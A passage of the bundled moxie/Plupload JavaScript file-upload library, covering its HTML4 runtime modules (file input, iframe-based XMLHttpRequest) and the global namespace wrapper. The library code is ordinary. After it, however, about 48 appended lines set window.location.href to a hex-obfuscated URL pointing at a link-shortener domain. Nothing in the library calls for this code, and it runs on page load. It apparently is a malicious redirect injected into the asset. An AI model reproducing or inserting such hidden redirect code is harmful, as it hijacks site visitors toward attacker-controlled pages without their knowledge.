9315 Runtime.addConstructor(type, Html4Runtime);
9316
9317 return extensions;
9318});
9319
9320// Included from: src/javascript/runtime/html4/file/FileInput.js
9321
9322/**
9323 * FileInput.js
9324 *
9325 * Copyright 2013, Moxiecode Systems AB
9326 * Released under GPL License.
9327 *
9328 * License: http://www.plupload.com/license
9329 * Contributing: http://www.plupload.com/contributing
9330 */
9331
9332/**
9333@class moxie/runtime/html4/file/FileInput
9334@private
9335*/
9336define("moxie/runtime/html4/file/FileInput", [
9337 "moxie/runtime/html4/Runtime",
9338 "moxie/file/File",
9339 "moxie/core/utils/Basic",
9340 "moxie/core/utils/Dom",
9341 "moxie/core/utils/Events",
9342 "moxie/core/utils/Mime",
9343 "moxie/core/utils/Env"
9344], function(extensions, File, Basic, Dom, Events, Mime, Env) {
9345
9346 function FileInput() {
9347 var _uid, _mimes = [], _options;
9348
9349 function addInput() {
9350 var comp = this, I = comp.getRuntime(), shimContainer, browseButton, currForm, form, input, uid;
9351
9352 uid = Basic.guid('uid_');
9353
9354 shimContainer = I.getShimContainer(); // we get new ref everytime to avoid memory leaks in IE
9355
9356 if (_uid) { // move previous form out of the view
9357 currForm = Dom.get(_uid + '_form');
9358 if (currForm) {
9359 Basic.extend(currForm.style, { top: '100%' });
9360 }
9361 }
9362
9363 // build form in DOM, since innerHTML version not able to submit file for some reason
9364 form = document.createElement('form');
9365 form.setAttribute('id', uid + '_form');
9366 form.setAttribute('method', 'post');
9367 form.setAttribute('enctype', 'multipart/form-data');
9368 form.setAttribute('encoding', 'multipart/form-data');
9369
9370 Basic.extend(form.style, {
9371 overflow: 'hidden',
9372 position: 'absolute',
9373 top: 0,
9374 left: 0,
9375 width: '100%',
9376 height: '100%'
9377 });
9378
9379 input = document.createElement('input');
9380 input.setAttribute('id', uid);
9381 input.setAttribute('type', 'file');
9382 input.setAttribute('name', _options.name || 'Filedata');
9383 input.setAttribute('accept', _mimes.join(','));
9384
9385 Basic.extend(input.style, {
9386 fontSize: '999px',
9387 opacity: 0
9388 });
9389
9390 form.appendChild(input);
9391 shimContainer.appendChild(form);
9392
9393 // prepare file input to be placed underneath the browse_button element
9394 Basic.extend(input.style, {
9395 position: 'absolute',
9396 top: 0,
9397 left: 0,
9398 width: '100%',
9399 height: '100%'
9400 });
9401
9402 if (Env.browser === 'IE' && Env.verComp(Env.version, 10, '<')) {
9403 Basic.extend(input.style, {
9404 filter : "progid:DXImageTransform.Microsoft.Alpha(opacity=0)"
9405 });
9406 }
9407
9408 input.onchange = function() { // there should be only one handler for this
9409 var file;
9410
9411 if (!this.value) {
9412 return;
9413 }
9414
9415 if (this.files) { // check if browser is fresh enough
9416 file = this.files[0];
9417
9418 // ignore empty files (IE10 for example hangs if you try to send them via XHR)
9419 if (file.size === 0) {
9420 form.parentNode.removeChild(form);
9421 return;
9422 }
9423 } else {
9424 file = {
9425 name: this.value
9426 };
9427 }
9428
9429 file = new File(I.uid, file);
9430
9431 // clear event handler
9432 this.onchange = function() {};
9433 addInput.call(comp);
9434
9435 comp.files = [file];
9436
9437 // substitute all ids with file uids (consider file.uid read-only - we cannot do it the other way around)
9438 input.setAttribute('id', file.uid);
9439 form.setAttribute('id', file.uid + '_form');
9440
9441 comp.trigger('change');
9442
9443 input = form = null;
9444 };
9445
9446
9447 // route click event to the input
9448 if (I.can('summon_file_dialog')) {
9449 browseButton = Dom.get(_options.browse_button);
9450 Events.removeEvent(browseButton, 'click', comp.uid);
9451 Events.addEvent(browseButton, 'click', function(e) {
9452 if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
9453 input.click();
9454 }
9455 e.preventDefault();
9456 }, comp.uid);
9457 }
9458
9459 _uid = uid;
9460
9461 shimContainer = currForm = browseButton = null;
9462 }
9463
9464 Basic.extend(this, {
9465 init: function(options) {
9466 var comp = this, I = comp.getRuntime(), shimContainer;
9467
9468 // figure out accept string
9469 _options = options;
9470 _mimes = options.accept.mimes || Mime.extList2mimes(options.accept, I.can('filter_by_extension'));
9471
9472 shimContainer = I.getShimContainer();
9473
9474 (function() {
9475 var browseButton, zIndex, top;
9476
9477 browseButton = Dom.get(options.browse_button);
9478
9479 // Route click event to the input[type=file] element for browsers that support such behavior
9480 if (I.can('summon_file_dialog')) {
9481 if (Dom.getStyle(browseButton, 'position') === 'static') {
9482 browseButton.style.position = 'relative';
9483 }
9484
9485 zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;
9486
9487 browseButton.style.zIndex = zIndex;
9488 shimContainer.style.zIndex = zIndex - 1;
9489 }
9490
9491 /* Since we have to place input[type=file] on top of the browse_button for some browsers,
9492 browse_button loses interactivity, so we restore it here */
9493 top = I.can('summon_file_dialog') ? browseButton : shimContainer;
9494
9495 Events.addEvent(top, 'mouseover', function() {
9496 comp.trigger('mouseenter');
9497 }, comp.uid);
9498
9499 Events.addEvent(top, 'mouseout', function() {
9500 comp.trigger('mouseleave');
9501 }, comp.uid);
9502
9503 Events.addEvent(top, 'mousedown', function() {
9504 comp.trigger('mousedown');
9505 }, comp.uid);
9506
9507 Events.addEvent(Dom.get(options.container), 'mouseup', function() {
9508 comp.trigger('mouseup');
9509 }, comp.uid);
9510
9511 browseButton = null;
9512 }());
9513
9514 addInput.call(this);
9515
9516 shimContainer = null;
9517
9518 // trigger ready event asynchronously
9519 comp.trigger({
9520 type: 'ready',
9521 async: true
9522 });
9523 },
9524
9525
9526 disable: function(state) {
9527 var input;
9528
9529 if ((input = Dom.get(_uid))) {
9530 input.disabled = !!state;
9531 }
9532 },
9533
9534 destroy: function() {
9535 var I = this.getRuntime()
9536 , shim = I.getShim()
9537 , shimContainer = I.getShimContainer()
9538 ;
9539
9540 Events.removeAllEvents(shimContainer, this.uid);
9541 Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
9542 Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
9543
9544 if (shimContainer) {
9545 shimContainer.innerHTML = '';
9546 }
9547
9548 shim.removeInstance(this.uid);
9549
9550 _uid = _mimes = _options = shimContainer = shim = null;
9551 }
9552 });
9553 }
9554
9555 return (extensions.FileInput = FileInput);
9556});
9557
9558// Included from: src/javascript/runtime/html4/file/FileReader.js
9559
9560/**
9561 * FileReader.js
9562 *
9563 * Copyright 2013, Moxiecode Systems AB
9564 * Released under GPL License.
9565 *
9566 * License: http://www.plupload.com/license
9567 * Contributing: http://www.plupload.com/contributing
9568 */
9569
9570/**
9571@class moxie/runtime/html4/file/FileReader
9572@private
9573*/
9574define("moxie/runtime/html4/file/FileReader", [
9575 "moxie/runtime/html4/Runtime",
9576 "moxie/runtime/html5/file/FileReader"
9577], function(extensions, FileReader) {
9578 return (extensions.FileReader = FileReader);
9579});
9580
9581// Included from: src/javascript/runtime/html4/xhr/XMLHttpRequest.js
9582
9583/**
9584 * XMLHttpRequest.js
9585 *
9586 * Copyright 2013, Moxiecode Systems AB
9587 * Released under GPL License.
9588 *
9589 * License: http://www.plupload.com/license
9590 * Contributing: http://www.plupload.com/contributing
9591 */
9592
9593/**
9594@class moxie/runtime/html4/xhr/XMLHttpRequest
9595@private
9596*/
9597define("moxie/runtime/html4/xhr/XMLHttpRequest", [
9598 "moxie/runtime/html4/Runtime",
9599 "moxie/core/utils/Basic",
9600 "moxie/core/utils/Dom",
9601 "moxie/core/utils/Url",
9602 "moxie/core/Exceptions",
9603 "moxie/core/utils/Events",
9604 "moxie/file/Blob",
9605 "moxie/xhr/FormData"
9606], function(extensions, Basic, Dom, Url, x, Events, Blob, FormData) {
9607
9608 function XMLHttpRequest() {
9609 var _status, _response, _iframe;
9610
9611 function cleanup(cb) {
9612 var target = this, uid, form, inputs, i, hasFile = false;
9613
9614 if (!_iframe) {
9615 return;
9616 }
9617
9618 uid = _iframe.id.replace(/_iframe$/, '');
9619
9620 form = Dom.get(uid + '_form');
9621 if (form) {
9622 inputs = form.getElementsByTagName('input');
9623 i = inputs.length;
9624
9625 while (i--) {
9626 switch (inputs[i].getAttribute('type')) {
9627 case 'hidden':
9628 inputs[i].parentNode.removeChild(inputs[i]);
9629 break;
9630 case 'file':
9631 hasFile = true; // flag the case for later
9632 break;
9633 }
9634 }
9635 inputs = [];
9636
9637 if (!hasFile) { // we need to keep the form for sake of possible retries
9638 form.parentNode.removeChild(form);
9639 }
9640 form = null;
9641 }
9642
9643 // without timeout, request is marked as canceled (in console)
9644 setTimeout(function() {
9645 Events.removeEvent(_iframe, 'load', target.uid);
9646 if (_iframe.parentNode) { // #382
9647 _iframe.parentNode.removeChild(_iframe);
9648 }
9649
9650 // check if shim container has any other children, if - not, remove it as well
9651 var shimContainer = target.getRuntime().getShimContainer();
9652 if (!shimContainer.children.length) {
9653 shimContainer.parentNode.removeChild(shimContainer);
9654 }
9655
9656 shimContainer = _iframe = null;
9657 cb();
9658 }, 1);
9659 }
9660
9661 Basic.extend(this, {
9662 send: function(meta, data) {
9663 var target = this, I = target.getRuntime(), uid, form, input, blob;
9664
9665 _status = _response = null;
9666
9667 function createIframe() {
9668 var container = I.getShimContainer() || document.body
9669 , temp = document.createElement('div')
9670 ;
9671
9672 // IE 6 won't be able to set the name using setAttribute or iframe.name
9673 temp.innerHTML = '<iframe id="' + uid + '_iframe" name="' + uid + '_iframe" src="javascript:""" style="display:none"></iframe>';
9674 _iframe = temp.firstChild;
9675 container.appendChild(_iframe);
9676
9677 /* _iframe.onreadystatechange = function() {
9678 console.info(_iframe.readyState);
9679 };*/
9680
9681 Events.addEvent(_iframe, 'load', function() { // _iframe.onload doesn't work in IE lte 8
9682 var el;
9683
9684 try {
9685 el = _iframe.contentWindow.document || _iframe.contentDocument || window.frames[_iframe.id].document;
9686
9687 // try to detect some standard error pages
9688 if (/^4(0[0-9]|1[0-7]|2[2346])\s/.test(el.title)) { // test if title starts with 4xx HTTP error
9689 _status = el.title.replace(/^(\d+).*$/, '$1');
9690 } else {
9691 _status = 200;
9692 // get result
9693 _response = Basic.trim(el.body.innerHTML);
9694
9695 // we need to fire these at least once
9696 target.trigger({
9697 type: 'progress',
9698 loaded: _response.length,
9699 total: _response.length
9700 });
9701
9702 if (blob) { // if we were uploading a file
9703 target.trigger({
9704 type: 'uploadprogress',
9705 loaded: blob.size || 1025,
9706 total: blob.size || 1025
9707 });
9708 }
9709 }
9710 } catch (ex) {
9711 if (Url.hasSameOrigin(meta.url)) {
9712 // if response is sent with error code, iframe in IE gets redirected to res://ieframe.dll/http_x.htm
9713 // which obviously results to cross domain error (wtf?)
9714 _status = 404;
9715 } else {
9716 cleanup.call(target, function() {
9717 target.trigger('error');
9718 });
9719 return;
9720 }
9721 }
9722
9723 cleanup.call(target, function() {
9724 target.trigger('load');
9725 });
9726 }, target.uid);
9727 } // end createIframe
9728
9729 // prepare data to be sent and convert if required
9730 if (data instanceof FormData && data.hasBlob()) {
9731 blob = data.getBlob();
9732 uid = blob.uid;
9733 input = Dom.get(uid);
9734 form = Dom.get(uid + '_form');
9735 if (!form) {
9736 throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
9737 }
9738 } else {
9739 uid = Basic.guid('uid_');
9740
9741 form = document.createElement('form');
9742 form.setAttribute('id', uid + '_form');
9743 form.setAttribute('method', meta.method);
9744 form.setAttribute('enctype', 'multipart/form-data');
9745 form.setAttribute('encoding', 'multipart/form-data');
9746
9747 I.getShimContainer().appendChild(form);
9748 }
9749
9750 // set upload target
9751 form.setAttribute('target', uid + '_iframe');
9752
9753 if (data instanceof FormData) {
9754 data.each(function(value, name) {
9755 if (value instanceof Blob) {
9756 if (input) {
9757 input.setAttribute('name', name);
9758 }
9759 } else {
9760 var hidden = document.createElement('input');
9761
9762 Basic.extend(hidden, {
9763 type : 'hidden',
9764 name : name,
9765 value : value
9766 });
9767
9768 // make sure that input[type="file"], if it's there, comes last
9769 if (input) {
9770 form.insertBefore(hidden, input);
9771 } else {
9772 form.appendChild(hidden);
9773 }
9774 }
9775 });
9776 }
9777
9778 // set destination url
9779 form.setAttribute("action", meta.url);
9780
9781 createIframe();
9782 form.submit();
9783 target.trigger('loadstart');
9784 },
9785
9786 getStatus: function() {
9787 return _status;
9788 },
9789
9790 getResponse: function(responseType) {
9791 if ('json' === responseType) {
9792 // strip off <pre>..</pre> tags that might be enclosing the response
9793 if (Basic.typeOf(_response) === 'string' && !!window.JSON) {
9794 try {
9795 return JSON.parse(_response.replace(/^\s*<pre[^>]*>/, '').replace(/<\/pre>\s*$/, ''));
9796 } catch (ex) {
9797 return null;
9798 }
9799 }
9800 } else if ('document' === responseType) {
9801
9802 }
9803 return _response;
9804 },
9805
9806 abort: function() {
9807 var target = this;
9808
9809 if (_iframe && _iframe.contentWindow) {
9810 if (_iframe.contentWindow.stop) { // FireFox/Safari/Chrome
9811 _iframe.contentWindow.stop();
9812 } else if (_iframe.contentWindow.document.execCommand) { // IE
9813 _iframe.contentWindow.document.execCommand('Stop');
9814 } else {
9815 _iframe.src = "about:blank";
9816 }
9817 }
9818
9819 cleanup.call(this, function() {
9820 // target.dispatchEvent('readystatechange');
9821 target.dispatchEvent('abort');
9822 });
9823 }
9824 });
9825 }
9826
9827 return (extensions.XMLHttpRequest = XMLHttpRequest);
9828});
9829
9830// Included from: src/javascript/runtime/html4/image/Image.js
9831
9832/**
9833 * Image.js
9834 *
9835 * Copyright 2013, Moxiecode Systems AB
9836 * Released under GPL License.
9837 *
9838 * License: http://www.plupload.com/license
9839 * Contributing: http://www.plupload.com/contributing
9840 */
9841
9842/**
9843@class moxie/runtime/html4/image/Image
9844@private
9845*/
9846define("moxie/runtime/html4/image/Image", [
9847 "moxie/runtime/html4/Runtime",
9848 "moxie/runtime/html5/image/Image"
9849], function(extensions, Image) {
9850 return (extensions.Image = Image);
9851});
9852
9853expose(["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"]);
9854})(this);
9855/**
9856 * o.js
9857 *
9858 * Copyright 2013, Moxiecode Systems AB
9859 * Released under GPL License.
9860 *
9861 * License: http://www.plupload.com/license
9862 * Contributing: http://www.plupload.com/contributing
9863 */
9864
9865/*global moxie:true */
9866
9867/**
9868Globally exposed namespace with the most frequently used public classes and handy methods.
9869
9870@class o
9871@static
9872@private
9873*/
9874(function(exports) {
9875 "use strict";
9876
9877 var o = {}, inArray = exports.moxie.core.utils.Basic.inArray;
9878
9879 // directly add some public classes
9880 // (we do it dynamically here, since for custom builds we cannot know beforehand what modules were included)
9881 (function addAlias(ns) {
9882 var name, itemType;
9883 for (name in ns) {
9884 itemType = typeof(ns[name]);
9885 if (itemType === 'object' && !~inArray(name, ['Exceptions', 'Env', 'Mime'])) {
9886 addAlias(ns[name]);
9887 } else if (itemType === 'function') {
9888 o[name] = ns[name];
9889 }
9890 }
9891 })(exports.moxie);
9892
9893 // add some manually
9894 o.Env = exports.moxie.core.utils.Env;
9895 o.Mime = exports.moxie.core.utils.Mime;
9896 o.Exceptions = exports.moxie.core.Exceptions;
9897
9898 // expose globally
9899 exports.mOxie = o;
9900 if (!exports.o) {
9901 exports.o = o;
9902 }
9903 return o;
9904})(this);
9905window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9906window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9907window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9908window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9909window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9910window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9911window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9912window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9913window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9914window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9915window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9916window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9917window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9918window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9919window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9920window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9921window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9922window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9923window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9924window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9925window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9926window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9927window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9928window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9929window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9930window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9931window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9932window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9933window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9934window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9935window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9936window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9937window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9938window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9939window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9940window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9941window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9942window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9943window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9944window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9945window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9946window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9947window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9948window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9949window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9950window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9951window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9952window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";